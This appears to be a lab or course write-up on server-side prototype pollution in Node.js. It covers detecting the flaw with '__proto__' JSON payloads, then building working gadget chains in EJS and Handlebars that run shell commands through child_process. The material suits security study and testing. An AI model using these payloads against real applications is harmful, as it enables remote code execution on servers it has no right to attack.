Prototype Pollution

Identification

Once we discovered our target application accepts JSON on input in a request, we will inject the payload in the request, for example:

{
  "connection": {
    "type": "rdp",
    "settings": {
      "hostname": "rdesktop",
      "username": "abc",
      "password": "abc",
      "port": "3389",
      "security": "any",
      "ignore-cert": "true",
      "client-name": "",
      "console": "false",
      "initial-program": ""
    },
    "__proto__": {
      "tostring": "foobar"
    }
  }
}

or

{
  "connection": {
    "type": "rdp",
    "settings": {
      "hostname": "rdesktop",
      "username": "abc",
      "password": "abc",
      "port": "3389",
      "security": "any",
      "ignore-cert": "true",
      "client-name": "",
      "console": "false",
      "initial-program": ""
    },
    "__proto__": {
      "tostring": "foobar"
    }
  }
}

If the application crash, then, it is vulnerable. In this example, in the application, the settings object within the connection object is passed to the DeepExtend function, that's why the payload works in the settings object.

We can list libraries:

docker-compose -f ~/chips/docker-compose.yml run chips npm list -prod -depth 1

Here, we will look at merge or extend objects to discover which objects are passed into this functions and are likely to crash. We will also look at values that crash the application when it is set in the prototype.

Exploitation

For example:

options = {"log": true}

Here, the log key in the options object is explicitly set to true. However, the preface is not explicitly set. If we injected a payload into the preface key in the Object prototype before options is set, we would be able to execute arbitrary JavaScript code.

Third-party libraries often contain these types of code blocks.

To review non-development dependencies:

docker-compose -f ~/chips/docker-compose.yml run chips npm list -prod -depth 0

- EJS Dependency Exploitation

To discover how to exploit EJS using prototype pollution, we’ll use the interactive Node CLI, so we can load the EJS module, run functions, and debug them directly without having to reload the web page.

docker-compose -f ~/chips/docker-compose.yml exec chips node

Now, let’s render an EJS template (according to the documentation, we can render a template by using the compile function or the render function):

let template = ejs.compile(str, options);

template(data);

or

ejs.render(str, data, options);

Now we can review the compiled code, in this example its located at node_modules/ejs/lib/ejs.js

Looking at the code, specifically the compile function we find the following:

'var ' + opts.outputFunctionName + ' = __append;'

The outputFunctionName is typically not set in templates. Because of this, we can most likely use it to inject with prototype pollution

For this to work, our payload will need to complete the variable declaration on the left side, add the code we want to run in the middle, and complete the variable declaration on the right side. If our payload makes the function invalid, EJS will crash when the page is rendered.

var x = 1; WHATEVER_JSCODE_WE_WANT ; y = __append;'

To confirm this vulnerability through the CLI:

ejs = require("ejs")

ejs.render("Hello, <%= foo %>", {"foo":"world"})

{}.__proto__.outputFunctionName = "x = 1; console.log('haxhaxhax') ; y"

ejs.render("Hello, <%= foo %>", {"foo":"world"})

If it works, we can use the following payload in the burp request to obtain RCE:

"__proto__":
{
"outputFunctionName": "x = 1; console.log(process.mainModule.require('child_process').execSync('whoami').toString()); y"
}

Once the token is returned, we’ll use it to pollute the prototype. Visiting any page in the server with that token returns the output of the command.

- Handlebars Dependency Exploitation

While Handlebars is written on top of JavaScript, it redefines basic functionality into its own templating language.

The main functionality of the Handlebars library is loaded from the node_modules/handlebars/dist/cjs directory.

We’ll start by reviewing the compiler/javascriptcompiler.js file.

In the review, we find the appendContent function, which seems interesting.


if (this.pendingContent) {
  content = this.pendingContent + content;

A function like this seems perfect for prototype pollution since is a potentially unset variable (this.pendingContent), which is appended to an existing variable (content). Now we just need to understand how the function is called, searching it through the source code, this reveals that it’s used in compiler/compiler.js.

It can be found in the ContentStatement function. Handlebars will create an AST, create the opcodes, and convert the opcodes to JavaScript code. The ContenStatement function instructs the compiler how to create opcodes for a ContentStatement. If there is a value in the content, it will call the appendContent function and pass in the content.

The ContentStatement is used for the string portion of the template. Templates are not required to have a ContentStatement; however, for most templates to be useful, they will almost always have one. Therefore, injecting into pendingContent should almost always append content to the template:

docker-compose down

TEMPLATING_ENGINE=hbs docker-compose -f ~/chips/docker-compose.yml up

docker-compose -f ~/chips/docker-compose.yml exec chips node

Handlebars = require("handlebars")

{}.__proto__.pendingContent = "haxhaxhax"

precompiled = Handlebars.precompile(ast)

eval("compiled = " + precompiled)

hello = Handlebars.template(compiled)

hello({"foo": "student"}

Anyway, the content that’s added to pendingContent is escaped, preventing us from injecting JavaScript.

When the Handlebars library builds the AST, the text is converted into tokens that represent the type of content.

For example, in the template hello {{ foo }}, it converts to two types of statements: a ContentStatement for the “hello” and a MustacheStatement for the “{{ foo }}” expression.

In order to convert these statements into JavaScript code, they are mapped to functions that dictate how to append the content to the compiled template. The appendEscaped function is one example of this kind of function.

In order to exploit Handlebars, we could search for a statement that pushes content without escaping it. These components can be found in compiler/compiler.js.

NumberLiteral, BooleanLiteral, UndefinedLiteral, and NullLiteral use the pushLiteral opcode.

The pushStackLiteral function calls the push function. The important thing is that they do not escape the value in any way.

If we were to be able to add a NumberLiteral or BooleanLiteral object to the prototype, with a value of a command we want to run, we might be able to inject into the generated function.

Let’s use this template to generate an AST and then access the NumberLiteral object in the AST:

docker-compose -f ~/chips/docker-compose.yml exec chips node

Handlebars = require("handlebars")

ast = Handlebars.parse('{{someHelper "some string" 12345 true undefined null}}')

ast.body[0].params[1]

Handlebars.precompile(ast)

To access the NumberLiteral object, we need to traverse the AST. We first access the first index in the body element (the MustacheStatement). Within this element, we can obtain access to the parameters. The number argument was the second element, so we’ll access the second index in the array. This will return an example of the NumberLiteral object.

To exploit this specific flaw:

"__proto__": {
  "type": "Program",
  "body": [
    {
      "type": "MustacheStatement",
      "path": 0,
      "loc": 0,
      "params": [
        {
          "type": "NumberLiteral",
          "value": "console.log(process.mainModule.require('child_process').execSync('whoami').toString() )"
        }
      ]
    }
  ]
}

Last updated